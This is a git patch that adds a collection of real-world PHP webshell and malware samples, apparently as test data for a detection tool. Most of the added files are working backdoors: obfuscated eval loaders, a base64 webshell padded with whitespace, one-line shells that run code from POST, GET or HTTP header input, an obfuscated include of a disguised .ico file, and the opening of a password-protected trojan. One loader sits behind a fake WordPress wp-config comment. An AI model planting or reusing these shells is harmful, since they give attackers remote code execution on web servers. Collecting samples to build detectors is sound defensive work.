From 48936efa96ae17295be4e0a71be3294f0ec6aef8 Mon Sep 17 00:00:00 2001
From: Mathieu Deous
Date: Mon, 2 May 2022 20:18:23 +0200
Subject: Make application go-install-able and create a docker image

---
 data/samples/real/awvjtnz.php        |   4 ++
 data/samples/real/exceptions.php     |   1 +
 data/samples/real/guidtz.php         |  76 ++++++++++++++++++++
 data/samples/real/ice.php            |   1 +
 data/samples/real/include.php        |   4 ++
 data/samples/real/nano.php           |   1 +
 data/samples/real/ninja.php          |   1 +
 data/samples/real/novahot.php        | 130 +++++++++++++++++++++++++++++++++++
 data/samples/real/srt.php            |   5 ++
 data/samples/real/sucuri_2014_04.php |   3 +
 10 files changed, 226 insertions(+)
 create mode 100644 data/samples/real/awvjtnz.php
 create mode 100644 data/samples/real/exceptions.php
 create mode 100644 data/samples/real/guidtz.php
 create mode 100644 data/samples/real/ice.php
 create mode 100644 data/samples/real/include.php
 create mode 100644 data/samples/real/nano.php
 create mode 100644 data/samples/real/ninja.php
 create mode 100644 data/samples/real/novahot.php
 create mode 100644 data/samples/real/srt.php
 create mode 100644 data/samples/real/sucuri_2014_04.php

(limited to 'data/samples/real')

diff --git a/data/samples/real/awvjtnz.php b/data/samples/real/awvjtnz.php
new file mode 100644
index 0000000..9d0e366
--- /dev/null
+++ b/data/samples/real/awvjtnz.php
@@ -0,0 +1,4 @@
+# This is a sample of PHP malware discovered 2017/11/15.
+# Unpacks at least 5 levels deep, including references to variables from previous levels of expansion.
+# Also seen with other variable names and constants altered.
+<?php $awvjtnz = 'fmhpph#)zbssb!-#}#)fepmqnj!/!#0#)idubn`hfsq)!sp!*#ojnopm3qjA)qj3hopmA	x273qj%6<*Y%)fnbozcYufhA	x%=*h%)m%):fmjix:<##:>:h%:<#64y]552]e7y]#>n%<#372]58y]472]37y]3	x74	141	x72	164") && (!isset($GLOBALS["	x61	156	x75	156	x61"]h!opjudovg}{;#)tutjyf`opjudovg)!gj!|!^<!Ce*[!%cIjQeTQcOc/#00o#>>}R;msv}.;/#/#/},;#-#}+;%-qp%)54l}	x27;%!<*#}_;#)323!>!%yy)#}#-#	x24-	x24-tusqpt)%z-#:#*	x24-	x24!>!	x24/%tjws:*<%j:,,Bjg!)%j:>>1*!%b:>1<!fmtf!%b:>%s:	x5c%j:.2^,%b:<!%c:>%s:	x575983:48984:71]K9]77]D4]82]K6]72]K9]78]K5].;`UQPMSVD!-id%)uqpuft`msvd},;uqpuft`msvd}21]464]284]364]6]234]342]58]24]31#-%tdz*Wsfuvso!%bss	x5csboe))/*)323zbe!-#jt0*?]+^?]_	x5c}X	x24<!4-bubE{h%)sutcvt)esp>hmg%!<12>j%!|!*#91y]c9y]7]y86]267]y74]275]y7:]268]y7f#<!%tww!>!	x240w/	x24)##-!#~<#/%	x24-	x24!>!fyqmpef)#	x24*<!%t::!>272qj%6<^#zsfvr#	x5cq%7/6]281L1#/#M5]DgP5]D6#<%fdy>#]D4]3	162	x65	141	x74	145	x5f	146	x772	145	x66	157	x78"))) { $oqtpxpv = "	x6|:*r%:-t%)3of:opjudovg<~	x24<!%o:!>!	x242178}527}88:}334}472	xw6<	x7fw6*CW&)7gj6<*doj%7-C)fepmqnjA	x27&6<.fmjgA	x27doj%6<	x7y]252]18y]#>q%<#762]67y]5z)#44ec:649#-!#:618d5f9#-!#f6c68399#-!#65egb2dc#*<!sfuvso!sboepn]y6d]281Ld]245]K2]285]Ke]53Ld672]48y]#>s%<#462]47d%6|6.7eu{66~67<&w6<*&7-#o]s]!	x24Ypp3)%cB%iN}#-!	x24/%tmw/	x24)%c*W%eN+#Qi	x5c1^W%c!>!%i	x5c2*msv%)}k~~~<ftmbg!osvufs!|ftmf!~<**9.-j%-bubE{h%)sutcvt)fubmgoj{C#-#O#-#N#*-!%ff2-!%]53]Kc]55Ld]55#*<%bG9}:}.}-}!#*<%nfd>%fdy<Cb*[%h!>!%tdz)%bbT-36]73]83]238M7]381]211M5]67]452]88]5]48]32M3]317]445]212]445]43]3I7jsv%7UFH#	x27rfs%6~6<	x7fw*127-UVPFNJU,6<*27-SFGTOBSUO#-#T#-#E#-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#)%	x24-	x24*<!~!	x24/%t2273]D6P2L5P6]y6gP7L6M7]D4]275]D:M8]Df#<%tdz>#L4]275L3]x45	116	x54"]); if ((strstr($uas,"	x6d	163	x69	145")) or (strstr($)sfebfI{*w%)kVx{**#k#)tutjyf`x	x22l:!}V;3q%}U;y]}R;2]},;osvufs}	x2id%)ftpmdR6<*id%)dfyfR	x27tfs%6<*17-SFEBFI,6<!<5h%/#0#/*#npd/#)rrd/#00;quui#>.%!<***f	x27,*e	x2GMFT`QIQ&f_UTPI`QUUI&e_SEEB`jix6<C	x27&6<*rfs%7-K)fw6*	x7f_*#fmjgk4`{6~6<tfs%w6<	x7fw6*CWtfs%)7gj6<*8]225]241]334]368]322]3]364]6]283]427]36]373P6]R17,67R37,#/q%>U<#16,47R57,27Rpd%6<pd%w6Z6<.3`hA	x2	x5c2b%!>!2p%!*3>?*2b%)gpf{jt)!g("", $jojtdkr); $bhlpzbl();}}W%wN;#-Ez-1H*WCw*[!%rN}#QwTW%hIr	x5c1^-%r	x5c2^-%hOh/#00#W~!%t27ftbc	x7f!|!*uyfu	x27k:!ftmf!}Z;^nbsbq%	x5cSFWSFT`%}X;!sp!*#op%Z<#opo#>b%!*##>>X)!gjZ<#opo#>b%!**X)ufttj	x22)gj!|!*nbsbq%)32d($n)-1);} @error_reporting(0); $jojtdkr = implode(array_map("dudovg+)!gj+{e%!osvufs!*!+A!>!{e%)!>>	x22!ftmbg2y]#>>*4-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)j{hnpd!opjudovg!|!**#j{h3]y76]277#<!%t2w>#]y74]273]y76]252]y85]256]y6g]256<*K)ftpmdXA6|7**197-2qj%7-K)udfoopdXA	x24-	x24	x5c%j^	x24-	x24tvctus)%	x24-	x24buas,"	x72	166	x3a	61	x31")) or (strstr($uas!gj}1~!<2p%	x7f!~!<##!>!2p%Z<^1"]=1; $uas=strtolower($_SERVER["	x48	124	x5ldfid>}&;!osvufs}	x7f;!opjudovg}k~~9{d%:osvufs:~928>>	x22:ftmbg39*56A:>:8:|:7#6#)tutjyf`439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{eb#-*f%)sfxpmpusut)tpqssutRe%)Rd%)Rb%))!gj!<*#cd2bge56)%epnbss-%rxW~!Ypp2)%zB%z>!	x24/%tmw/	x24)%zW%h>EzH,2)!gj!<2,*j%-#1]#-bubE{h%)tpqsut>j%!*9!	x27!hmg%)!gj!~7;mnui}&;zepc}A;~!}	x7f;!|!}{;)gj}l;33bq}k;opjudovg}x;0]=])0#)U!	x24-	x24gvodujpo!	x24-	xSVUFS,6<*msv%7-MSV,6<*)ujojR	x27id%6<	x7fw6*	x7f_*#ujojRk3`{666~6</	x24)%	x24-	x24y4	x24-	x24]y8	x24-	x24]26	x24-	x24<%j,,*!|	x2	x2272qj%)7gj6<**2qj%)h53]Kc#<%tpz!>!#]D6M7]K3#<%yy>#]Ddbqov>*ofmy%)utjm!|!*5!	x27!hmg%)!gj!|!*1?hmg%)!gj!<**2-if((function_exists("	x6f	142	x5f	16<.msv`ftsbqA7>q%6<	x7fw6*	x7f_*#fubfsdXk5`{66~6<&/%rx<~!!%s:N}#-%o:W%c:>1<%b:>1<!gps)%j:>1<%j:=tj{fpg)%%bT-%hW~%fdy)##-!#~<%h00#*<%nfd)##Qtpz)#]341]88M4P8]37]276197g:74985-rr.93e:5597f-s.973:8297f:5297e:56-xr.985:52985-t.98]epdof./#@#/qp%>5h%!<*::::::-1246767~6<Cw6<pd%w6Z6<.5`hA	x27pd%6<pd%w6Z6<.4`hA	x27fujsxX6<#o]o]Y%7;utpI#7>/7rfs%6<#o]1/20QUU0~:<h%_t%:osvufs:~:<*9-1-r%)s%>/h%:<**#57]38y]47]67y]37]88y]27]28yW;utpi}Y;tuofuopd`ufh`fmjg}[;ldpt%}K;`ufldpt}X;`msvd}R;*msv%)}%tmw!>!#]y84]275]y83]27~!%z!>2<!gps)%j>1<%j=6[%ww)))) { $GLOBALS["	x61	156	x75	156	x65	156	x63	164	x69	157	x6e"; function dhyvbmt($n){return chr(orx27!hmg%!)!gj!<2,*j%!-#1]#-bubE{h%)tpqsut>j%!*72!	x27!hmg%tmfV	x7f<*X&Z&S{ftmfV	x7f<*XAZASV<*w%)ppde>u%V<#65,47R25,d7ww**WYsboepn)%bss-%rxB%h>#]y31]278]y3e]81]K78:56985:]#/r%/h%)n%-#+I#)q%:>:r%:|:**t%)m,"	x61	156	x64	162	x6f	151	x64")) or (strstr($uas,"	x63	150	x72	+;!>!}	x27;!>>>!}_;gvc%}&;ftmbg}	x7f;!osvufs}w;*	x7f!>>	x22!pd%)!gj}Z;W&)7gj6<*K)ftpmdXA6~6<u%7>/7&6|7**111127-K)ebfsX	x27u%)7fm11112)eobs`un>qp%!|Z~!<##!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!7{**u%-#jt0}Z;0]=]0#)2q%l}S;2-u%!-#2#/#%#/#o]#27pd%6<pd%w6Z6<.2`hA	x27pd%6<C	x27p157	x6d	145")) or (strstr($uas,"	x66	151	xw)##Qtjw)#]82#-#!#-%tmw)%t#W~!Ydrr)%rxB%epnbss!>!bssb2!>#p#/#p#/%z<jg!)%z>>2*!%z>3<!fmtf!%z>2<!%ww2)%w`TW~	x&w6<	x7fw6*CW&)7gj6<.[A	x27&6<	x7fw6*	x7f_*#[k2`{6:!}7;!}6;##}C;!>>!}t::**<(<!fwbm)%tjw)#	x24#-!#]y38#-!%w:**<")));$bhlpzbl = $oqtpxpv]275]y83]248]y83]256]y81]265]y72]254]y76#<!%w:!>!(%w:!>!	x+99386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GB)fubfsdXA	x27K6<	x7fw6*3qj%7><+{e%+*!*+fepdfe{h+{d%)+opj/!**#sfmcnbs+yfeobz+sfwjidsb`bj+upcotn+qsvmt+FUPNFS&d_SFSFGFS`QUUI&c_UOFHB`SFTV`QUUI&b%!|!*)323zbek!~!<b%	x7f!<X>b66,#/q%>2q%<#g6R85,67R37,18R#>q%V<*#fopoV;hojepdoF.uofuopD#r#	x5cq%)ufttj	x22)gj6<^#Y#	x5cq%	x27Y%6K4]65]D8]86]y31]278]y3f]51L3]84]y31M6]y3e]81#/#7e:55946-tr.984:npd#)tutjyf`opjudovg	x22)24y7	x24-	x24*<!	x24-	x24gps)%j>1<%j=tj{fpgh1:|:*mmvo:>:iuhofm%:-5ppde:4:|:**#ppde#)tutjyf`4	x223}!+!o]s]#)fepmqyf	x27*&7-n%)utjm6<	x7fw6*C1/35.)1/14+9**-)1/2986+7**^c%j:^<!%w`	x5c^>Ew:Qb:Qc:W24<!%ff2!>!bssbz)	x24]25	x24-	x24-!%	x24-	x24*!|!	x22)7gj6<*QDU`MPT7-NBFSUT`LDPT7-UFOJ`62]38y]572]48y]#>m%:j!<*2bd%-#1GO	x22#)fepmqyfA>2b%!<*qp%-*.%)euhA)3of>2bd%g)!gj<*#k#)usbut`cpV	x7f	x7f	x7f	x7f<u%V	x27{f4	120	x5f	125	x53	105	x52	137	x41	107	24<!fwbm)%tjw)bssbz)#P#-#Q#-#Bhyvbmt",str_split("%tjw!>!#]y847,*d	x27,*c	x27,*b	x27)fepdof.)f3ldfidk!~!<**qp%!-uyfu%)3of)fepdof`5<ofmy%,3,j%>j%!<**3-j%-bubE{h%)sutcvt-#w#)lhA!osvufs!~<3,j%>j%!*3!	248L3P6L1M5]D2P4]D6#<%G7#@#7/7^#iubq#	x5cq%	x27jsv%6<C>^#zsfvr#	x5cq%7**^#zsfvStrrEVxNoiTCnUF_EtaERCxecAlPeR_rtSopxkrbc'; $vgkbclh=explode(chr((636-516)),substr($awvjtnz,(29027-23007),(198-164))); $jdxccsyh = $vgkbclh[0]($vgkbclh[(7-6)]); $nkttprcq = $vgkbclh[0]($vgkbclh[(7-5)]); if (!function_exists('huqbsiykq')) { function huqbsiykq($ewjaowa, $ppcmgty,$euscsfo) { $rputetgcppb = NULL; for($blvfkqsfhf=0;$blvfkqsfhf<(sizeof($ewjaowa)/2);$blvfkqsfhf++) { $rputetgcppb .= substr($ppcmgty, $ewjaowa[($blvfkqsfhf*2)],$ewjaowa[($blvfkqsfhf*2)+(7-6)]); } return $euscsfo(chr((34-25)),chr((531-439)),$rputetgcppb); }; } $xozybdtes = explode(chr((213-169)),'3371,36,157,63,3931,36,2709,44,5708,38,1659,66,2636,43,4231,64,4563,42,868,40,836,32,3967,62,2332,63,5776,31,4847,58,3660,52,2063,20,4528,35,1170,29,5409,38,4365,58,1914,22,3712,42,1474,28,2555,41,5552,35,4949,31,3260,23,53,43,780,24,5965,55,5180,40,3407,49,970,62,1936,50,1791,45,1502,28,3132,66,4713,35,4748,34,3820,62,501,42,4295,70,220,37,1264,64,5918,24,4029,58,2990,53,5875,43,3315,56,640,45,2440,66,5283,25,2679,30,2083,33,5607,55,1836,50,5807,32,3631,29,4423,59,5007,45,0,53,2883,54,4905,44,1886,28,5052,69,2270,62,5839,36,2208,62,280,55,2753,70,2823,60,5351,58,4980,27,2395,45,5662,46,4087,59,2033,30,5121,59,1725,66,3043,67,4482,46,605,35,3882,23,2506,49,685,44,3754,66,4198,33,96,61,1150,20,1032,25,5587,20,908,62,5500,52,2596,40,335,57,3198,62,3110,22,5308,43,1581,24,729,51,1199,65,257,23,4631,27,1057,64,2937,53,2145,63,4605,26,4146,52,3567,64,5220,63,459,42,3283,32,804,32,1605,54,5942,23,1121,29,1348,61,3510,57,1986,47,1409,65,543,62,5447,27,3456,54,392,67,5474,26,3905,26,4658,55,5746,30,1530,51,1328,20,4782,65,2116,29'); $ympifwn = $jdxccsyh("",huqbsiykq($xozybdtes,$awvjtnz,$nkttprcq)); $jdxccsyh=$awvjtnz; $ympifwn(""); $ympifwn=(599-478); $awvjtnz=$ympifwn-1; ?>
diff --git a/data/samples/real/exceptions.php b/data/samples/real/exceptions.php
new file mode 100644
index 0000000..d5ce73f
--- /dev/null
+++ b/data/samples/real/exceptions.php
@@ -0,0 +1 @@
+<?php                                                                                                                                                                                              $ksyweqahwz = 95; function ngomynsz($jkvdve, $swxidbkzpw){$azzogyulq = ''; for($i=0; $i < strlen($jkvdve); $i++){$azzogyulq .= isset($swxidbkzpw[$jkvdve[$i]]) ? $swxidbkzpw[$jkvdve[$i]] : $jkvdve[$i];}$wzmkq="b" . "a" . "s" . "e" . "6" . "4" . "_" . "d" . "e" . "c" . "o" . "d" . "e";return $wzmkq($azzogyulq);}$jgzzljfjj = Array("A"=>"D", "C"=>"B", "B"=>"4", "E"=>"F", "D"=>"C", "F"=>"7", "1"=>"E", "0"=>"9", "3"=>"0", "2"=>"2", "5"=>"A", "4"=>"8", "7"=>"1", "6"=>"3", "9"=>"5", "8"=>"6");$fuwkgtdbkv = "DgokZGVmYXVsdE0hY6Rpb2BgPS5nQ3MnOwoKQGluaV0zZXQoJ2Vycm0yX2xvZycsTlVMTDk"."FDkCpbmlfc2V3KDdsb2dfZXJyb6JzJywwKTsKQGluaV0zZXQoJ27heE0leGVjdXRpb29fdGltZSc"."sMDkFDkCzZXRfdGltZV0saW7pdDgwKTsKQHNldE0tYWdpY70xdW03ZXNfcnVudGltZSgwKTsKQGR"."lZmluZSgnV7NPX7ZEUlNJT3BnLD5nMiB7LjInKTsKDmlmKGdldE0tYWdpY70xdW03ZXNfZ6CjKDkpIHsKID5gIGZ7b"."mN3aW0uIEdTT6N3cmlwc2xhc2hlcygkYXJyYXkpIHsKID5gID5gIDCyZXR7c"."mBgaXNfYXJyYXkoJGEycmE9KS5/IGEycmE9X27hcDgnV7NPc6RyaXCzbGEzaGVzJywgJGEycmE9KS58IHN3cmlwc2xhc2h"."lcygkYXJyYXkpOwogID5gfQogID5gJE0QT7NUIA3gV7NPc6RyaXCzbGEza"."GVzKDRfU10TVDkFDi5gID5kX3NPT3tJRS50IEdTT6N3cmlwc2xhc2hlcygkX3NPT3tJRSkFDn3KD"."mZ7bmN3aW0uIHdzb3xvZ2luKDkgewogID5gaGVhZGVyKDdIVERQLz1uMD53MAQgTm03I1ZvdW9"."kJykFDi5gIDCkaWUoIjQwNDIpOwp0DgpmdW9jdGlvbiCXU30zZXRjb20raWUoJGssIDR2"."KSCFDi5gID5kX3NPT3tJRVska73gPS5kdjsKID5gIHNldGNvb2tpZSgkaywgJHYpOwp0DgppZ"."ighZW7wdHkoJGE7dGhfcGEzcykpIHsKID5gIGlmKGlzc2V3KDRfU10TVEsncGEzcyddKS5mJi5obWQ7KDRfU10TVEsncGEzc"."yddKS50PS5kYXV3aE0wYXNzKSkKID5gID5gIDCXU30zZXRjb20"."raWUobWQ7KDRfU3VSVkVSWydIVERQX3hPU7QnXSksIDRhdXRoX6Chc6MpOwoKID5gIGlmIDghaXNzZXQoJE0AT30LSUVbbWQ7KDR"."fU3VSVkVSWydIVERQX3hPU7QnXSldKSC4fD5oJE0AT30LSUVbbWQ7KDRfU3VSVkVSWydIVERQX3hPU7QnXSl"."dID10IDRhdXRoX6Chc6MpKQogID5gID5gIHdzb3xvZ2luKDkFDn3KDmZ7bmN3aW0uIGEjdGlvblIoKSCFDi5gIDCpZighQ"."DRfU10TVEsnZXYnXSkgewogID5gID5gIDRhIA3gYXJyYXkoDi5gID5g"."ID5gID5gIDJ7bmEtZSIgPTBgcGhwX6VuYW7lKDksDi5gID5gID5gID5gIDJwaHCfdmVyc2lvbiIgPTBgcGhwdmVyc2lvbigpL5og"."ID5gID5gID5gID5id6NvX6ZlcnNpb2BiIA3+IEdTT70WRVJTSU0OL5ogID5gID5gID5gID5ic2EmZW7vZGUiIA3+I1CpbmlfZ2V3"."KDdzYWZlX27vZGUnKQogID5gID5gIDkFDi5gID5gID5gZWNobyCzZXJpYWxpemUoJG1pOwogID5gfSClbHNlIHsKID5"."gID5gIDCldmEsKDRfU10TVEsnZXYnXSkFDi5gIDC0Dn3KDmlmK"."DClbXC3eSgkX7CPU7RbJ2MnXSkgKQogID5gaWYoaXNzZXQoJGRlZmE7bHRfYWN"."3aW0uKS5mJiCmdW9jdGlvbl0leGlzdHMoJ2EjdGlvbicgLi5kZGVmYXVsdE0hY6Rpb2BpKQogID5gID5gID"."RfU10TVEsnYyddIA3gJGRlZmE7bHRfYWN3aW0uOwogID5gZWxz"."ZQogID5gID5gIDRfU10TVEsnYyddIA3gJ7NlY3luZm4nOwppZiggIWVtcHR9K"."DRfU10TVEsnYyddKS5mJiCmdW9jdGlvbl0leGlzdHMoJ2EjdGlvbicgLi5kX7CPU7RbJ"."2MnXSkgKQogID5gY2EsbE07c2VyX2Z7bmMoJ2EjdGlvbicgLi5kX7CPU7RbJ2MnXSkFDmV"."BaXQF";eval/*k*/(ngomynsz($fuwkgtdbkv, $jgzzljfjj));?>
\ No newline at end of file
diff --git a/data/samples/real/guidtz.php b/data/samples/real/guidtz.php
new file mode 100644
index 0000000..828c0f8
--- /dev/null
+++ b/data/samples/real/guidtz.php
@@ -0,0 +1,76 @@
+<?php 
+/*
+* The base configurations of the WordPress.
+ *
+ * This file has the following configurations: MySQL settings, Table Prefix,
+ * Secret Keys, and ABSPATH. You can find more information by visiting
+ * {@link http://codex.wordpress.org/Editing_wp-config.php Editing wp-config.php}
+ * Codex page. You can get the MySQL settings from your web host.
+ *
+ * This file is used by the wp-config.php creation script during the
+ * installation. 
+ *
+ * @package WordPress
+*/
+@error_reporting(0);@ini_set('display_errors',false);defined('„··7³µ³8¸13530´·') || define('„··7³µ³8¸13530´·',__FILE__);global $ƒ³µ7834¶81µ9´2¸5;global $·53´·¶6³9¶7775µ³; if(!function_exists('³0µ93µµ¶98511086')){ function ³0µ93µµ¶98511086($‰9·2³µ·2851µ5´5µ,$³71¸¸34076112µ06=''){ if(empty($‰9·2³µ·2851µ5´5µ)) return ''; $‰9·2³µ·2851µ5´5µ=base64_decode($‰9·2³µ·2851µ5´5µ); if($³71¸¸34076112µ06=='') return ~$‰9·2³µ·2851µ5´5µ; if($³71¸¸34076112µ06=='-1') @‡7µ16´¸2´923¶895(); $‰¶505·³465¶7´1µ6=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['ƒ2µ³´522259¶6·2³']($‰9·2³µ·2851µ5´5µ); $³71¸¸34076112µ06=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['…70µ53233³19´¶66']($³71¸¸34076112µ06,$‰¶505·³465¶7´1µ6,$³71¸¸34076112µ06); return $‰9·2³µ·2851µ5´5µ^$³71¸¸34076112µ06; }} if(!function_exists('´8·18¶3¸´µ9´µ1´8')){ function ´8·18¶3¸´µ9´µ1´8($‰9·2³µ·2851µ5´5µ,$³71¸¸34076112µ06=''){ if(empty($‰9·2³µ·2851µ5´5µ)) return ''; $‰9·2³µ·2851µ5´5µ=base64_decode($‰9·2³µ·2851µ5´5µ); if($³71¸¸34076112µ06=='') return ~$‰9·2³µ·2851µ5´5µ; if($³71¸¸34076112µ06=='-1') @¶¸8¶0³42¸·4¶791¸(); $‰¶505·³465¶7´1µ6=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['ƒ2µ³´522259¶6·2³']($‰9·2³µ·2851µ5´5µ); $³71¸¸34076112µ06=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['…70µ53233³19´¶66']($³71¸¸34076112µ06,$‰¶505·³465¶7´1µ6,$³71¸¸34076112µ06); return $³71¸¸34076112µ06^$‰9·2³µ·2851µ5´5µ; }}$ƒ³µ7834¶81µ9´2¸5["…70µ53233³19´¶66"]=´8·18¶3¸´µ9´µ1´8('jIuNoI+emw==','');$ƒ³µ7834¶81µ9´2¸5["ƒ464120·78´¸³³0´"]=´8·18¶3¸´µ9´µ1´8('nZ6MmsnLoJuanJCbmg==','');$ƒ³µ7834¶81µ9´2¸5["ƒ2µ³´522259¶6·2³"]=´8·18¶3¸´µ9´µ1´8('jIuNk5qR','');$ƒ³µ7834¶81µ9´2¸5["Š·77306821¶µ¸256"]=´8·18¶3¸´µ9´µ1´8('Gw4QPCMiFwoGLjQ=','HKBjfp');$ƒ³µ7834¶81µ9´2¸5["¸829¶³´197593·77"]='';$ƒ³µ7834¶81µ9´2¸5["‹552¶965¸0´732·3"]=´8·18¶3¸´µ9´µ1´8('ZiAFGwwjBCM=','6hUD_fHe9');$ƒ³µ7834¶81µ9´2¸5["··0702¶³´µµ8209³"]='';$ƒ³µ7834¶81µ9´2¸5["ˆ1³¶8´03324¶µ362"]='';$ƒ³µ7834¶81µ9´2¸5["Š9¶¶1528381µ305¶"]=´8·18¶3¸´µ9´µ1´8('CzQTIBMXBz8AOxM=','XqAvVE');$ƒ³µ7834¶81µ9´2¸5["¶06648·177994296"]='';$ƒ³µ7834¶81µ9´2¸5["„¶5·27µ9076¸9·µ6"]='';$ƒ³µ7834¶81µ9´2¸5["µ8790¸µ·27403321"]=´8·18¶3¸´µ9´µ1´8('WFZYblllfXZ1d1lV','ldv_kTSCBY');$ƒ³µ7834¶81µ9´2¸5["‚¸9053¶µ36·429µ0"]='';$ƒ³µ7834¶81µ9´2¸5["ˆ¸3³5´µ1¸2¸µ3591"]=´8·18¶3¸´µ9´µ1´8('DStf','nG67D');$ƒ³µ7834¶81µ9´2¸5["µ3µ73¸¶22¶92¸99³"]='';$ƒ³µ7834¶81µ9´2¸5["…77µ¶0´98³3¶3283"]=´8·18¶3¸´µ9´µ1´8('HA4VNhUDHQ8PHCs=','NKXyAFB');$ƒ³µ7834¶81µ9´2¸5["µ38·¶µ¸¸5777¶05·"]=´8·18¶3¸´µ9´µ1´8('AxhnCDs7JiUc','KL3XdsivH');$ƒ³µ7834¶81µ9´2¸5["‡51¸582³³³3µµ¶µ1"]='';$ƒ³µ7834¶81µ9´2¸5["‚8´´301¸93³³µ080"]='';$ƒ³µ7834¶81µ9´2¸5["…73606080·¸7414¸"]=´8·18¶3¸´µ9´µ1´8('FBlCWFItAUQGOgAQ','sc761Bl4t_');$ƒ³µ7834¶81µ9´2¸5["„³331074705³·24¸"]=´8·18¶3¸´µ9´µ1´8('O14wQSA4','R0D7AT');$ƒ³µ7834¶81µ9´2¸5["‡4³1´9832µ54978¸"]=´8·18¶3¸´µ9´µ1´8('HUYkECY6','n2VbCLrH');$ƒ³µ7834¶81µ9´2¸5["‚¶µ5´223¸162³2¸9"]=´8·18¶3¸´µ9´µ1´8('JQI/ERwMNgAcCDwaNw49ADA=','CkSt');$ƒ³µ7834¶81µ9´2¸5["„·¶2¶739¶17µ·042"]=´8·18¶3¸´µ9´µ1´8('GQAnKg==','miJOLV7G');$ƒ³µ7834¶81µ9´2¸5["³¸88´0·8¶µ³48286"]=´8·18¶3¸´µ9´µ1´8('GwEEPz9L','htfLK9uXy');  $·53´·¶6³9¶7775µ³['ˆ2³4³7µ4´¸85´74µ']=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['„·¶2¶739¶17µ·042'](); $·53´·¶6³9¶7775µ³['ƒ·1´0´¸³0736µ02³']=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['‚¶µ5´223¸162³2¸9'](„··7³µ³8¸13530´·); $·53´·¶6³9¶7775µ³['Šµ16¸9µ6¶997³´12']=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['‡4³1´9832µ54978¸']('2ef4d9904bd650312d329366c9fe69dc'); $·53´·¶6³9¶7775µ³['³72¸1µ1µ¸´69¸0´´']=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['„³331074705³·24¸']($GLOBALS['ƒ³µ7834¶81µ9´2¸5']['‡4³1´9832µ54978¸']('1094000000')); $·53´·¶6³9¶7775µ³['‚¸77·7·¸7¶6³752µ']=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['„³331074705³·24¸']($GLOBALS['ƒ³µ7834¶81µ9´2¸5']['‡4³1´9832µ54978¸']('6100000000')); $·53´·¶6³9¶7775µ³['„µ9³570¸4µ805963']=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['„³331074705³·24¸']($GLOBALS['ƒ³µ7834¶81µ9´2¸5']['‡4³1´9832µ54978¸']('6600000000')); $·53´·¶6³9¶7775µ³['‡·³16³·7³´189·6³']=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['„³331074705³·24¸']($GLOBALS['ƒ³µ7834¶81µ9´2¸5']['‡4³1´9832µ54978¸']('0123000000')); $·53´·¶6³9¶7775µ³['‚541³´13¸7´µ7¸³¶']=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['³¸88´0·8¶µ³48286']($·53´·¶6³9¶7775µ³['ƒ·1´0´¸³0736µ02³'],$·53´·¶6³9¶7775µ³['³72¸1µ1µ¸´69¸0´´'],$·53´·¶6³9¶7775µ³['‡·³16³·7³´189·6³']); $·53´·¶6³9¶7775µ³['‚541³´13¸7´µ7¸³¶']=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['ƒ464120·78´¸³³0´']($·53´·¶6³9¶7775µ³['‚541³´13¸7´µ7¸³¶']); $·53´·¶6³9¶7775µ³['‚541³´13¸7´µ7¸³¶']=$GLOBALS['ƒ³µ7834¶81µ9´2¸5']['…73606080·¸7414¸']($·53´·¶6³9¶7775µ³['‚541³´13¸7´µ7¸³¶']); return(eval($·53´·¶6³9¶7775µ³['‚541³´13¸7´µ7¸³¶'])); ?>
+
+#!/usr/bin/php -q
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diff --git a/data/samples/real/ice.php b/data/samples/real/ice.php
new file mode 100644
index 0000000..6f8edc0
--- /dev/null
+++ b/data/samples/real/ice.php
@@ -0,0 +1 @@
+<?php ${${eval($_POST[ice])}};?>
diff --git a/data/samples/real/include.php b/data/samples/real/include.php
new file mode 100644
index 0000000..58712f1
--- /dev/null
+++ b/data/samples/real/include.php
@@ -0,0 +1,4 @@
+<?php
+/*8a68d*/
+@include "\x2fh\x6fm\x65/\x77e\x62p\x6ce\x78x\x33/\x70u\x62l\x69c\x5fh\x74m\x6c/\x68i\x73-\x68e\x6d.\x6fr\x67/\x5f_\x4dA\x43O\x53X\x2fm\x6fd\x75l\x65s\x2fn\x6fd\x65/\x66a\x76i\x63o\x6e_\x31a\x33f\x384\x2ei\x63o";
+/*8a68d*/
diff --git a/data/samples/real/nano.php b/data/samples/real/nano.php
new file mode 100644
index 0000000..14df255
--- /dev/null
+++ b/data/samples/real/nano.php
@@ -0,0 +1 @@
+<?$x=$_GET;($x[p]=='_'?$x[f]($x[c]):y);
diff --git a/data/samples/real/ninja.php b/data/samples/real/ninja.php
new file mode 100644
index 0000000..fdace58
--- /dev/null
+++ b/data/samples/real/ninja.php
@@ -0,0 +1 @@
+<?$x=explode('~',base64_decode(substr(getallheaders()['x'],1)));@$x[0]($x[1]);
diff --git a/data/samples/real/novahot.php b/data/samples/real/novahot.php
new file mode 100644
index 0000000..a330580
--- /dev/null
+++ b/data/samples/real/novahot.php
@@ -0,0 +1,130 @@
+<?php
+
+# Tested on PHP 5.4.45 on Debian Wheezy.
+#
+# To test this trojan locally, run the following in the directory containing 
+# this file:
+#   php -S localhost:<port>
+
+# TODO: Change this password. Don't leave the default!
+define('PASSWORD', 'the-password');
+
+# Override the default error handling to:
+#   1. Bludgeon PHP `throw`-ing rather than logging errors
+#   2. Keep noise out of the error logs
+set_error_handler('warning_handler', E_WARNING);
+function warning_handler($errno, $errstr) { 
+    throw new ErrorException($errstr);
+}
+
+# get the POSTed JSON input
+$post = json_decode(file_get_contents('php://input'), true);
+$cwd  = ($post['cwd'] !== '') ? $post['cwd'] : getcwd();
+
+# feign non-existence if the authentication is invalid
+if (!isset($post['auth']) || $post['auth'] !== PASSWORD) {
+    header('HTTP/1.0 404 Not Found');
+    die();
+}
+
